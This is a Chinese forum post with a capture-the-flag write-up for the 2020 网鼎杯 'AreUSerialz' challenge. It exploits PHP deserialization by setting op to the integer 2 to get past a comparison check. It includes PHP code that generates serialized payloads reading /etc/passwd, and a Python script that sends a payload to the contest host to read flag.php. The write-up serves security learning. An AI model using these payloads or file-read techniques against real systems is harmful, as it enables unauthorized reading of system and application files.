搜索
    Hi~登录注册
    查看: 58|回复: 2
    收起左侧

    2020-网鼎杯 AreUSerialz WriteUp 题解

    [复制链接]

    26

    主题

    0

    精华

    31 小时

    在线时间

    密圈

    积分
    25
    发表于 2020-5-11 19:00:04 | 显示全部楼层 |阅读模式
    本帖最后由 陆工SU蒋 于 2020-5-11 07:14 PM 编辑

    终究还是差太远了

    打开就可以看到源码如下

    QQ截图20200511185400.png

    由题可知我们需要绕过两个点

    1. is_valid 函数
    2. __destruct 的比较

    在__destruct 中判断 op 是否等于"2",这里是用强等于 ===
    在 process 中 else if 判断是否等于"2",这里是用弱比较 ==

    所以我们构造 payload 的时候可以把 op 设置为整形的 2


    [PHP] 纯文本查看 复制代码
    <?php
    class FileHandler{
        protected $op=2;
        protected $filename="/etc/passwd";
        protected $content="Hello World!";
    }
    print_r(serialize(new FileHandler));
    ?>



    得到


    [AppleScript] 纯文本查看 复制代码
    O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:11:"/etc/passwd";s:10:"*content";s:12:"Hello World!";}



    但是这里面有不可见字符
    (这里我当时还不知道,直到看到刚才的师傅的 wp,去找了一下才知道 protected 声明的字段为保护字段,字段名前面会加上 \0*\0 的前缀,urlencode 后看到的 %00)
    但是我当时很骚的是我把*号删了,前面长度-3,这样就相当于用 public,如下


    [PHP] 纯文本查看 复制代码
    <?php
    class FileHandler{
        public $op=2;
        public $filename="/etc/passwd";
        public $content="Hello World!";
    }
    print_r(serialize(new FileHandler));
    ?>



    得到 payload

    [AppleScript] 纯文本查看 复制代码
    O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:11:"/etc/passwd";s:7:"content";s:12:"Hello World!";}



    文件读取成功,并且我还以为是默认目录

    QQ截图20200511185650.png

    尝试默认路径失败,然后一直找配置文件,没找到 Web 目录,去看了一下其他 Web 题后才突然注意到什么,赶紧回来看看觉得这 404 页面有点骚,不对劲,可能是提示

    QQ截图20200511185732.png

    从左下角的链接打开这个 alpine-apache 的 docker 介绍

    QQ截图20200511185811.png

    往下看看发现了这个,Web 目录为/web/html/!!

    QQ截图20200511185841.png

    最终成功读取到 flag

    QQ截图20200511185915.png

    读取 flag 只有那一张图了,我当时写了个很简陋的脚本如下


    [Python] 纯文本查看 复制代码
    import requests
    
    url = "http://0bb44e1b80fc4f4a94755160d971ccde2c577e777d0c4040.cloudgame1.ichunqiu.com/"
    file = "/web/html/flag.php"
    poc = 'O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:'+str(len(file))+':"'+file+'";s:7:"content";s:12:"Hello World!";}'
    html = requests.get(url+"?str="+poc).text
    print(html)






    上一篇:今天来边吐槽边学习一下微软的.NET技术之WPF(内附官方链...
    下一篇:Pandownload被抓,百度云网盘继续不限速下载
    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表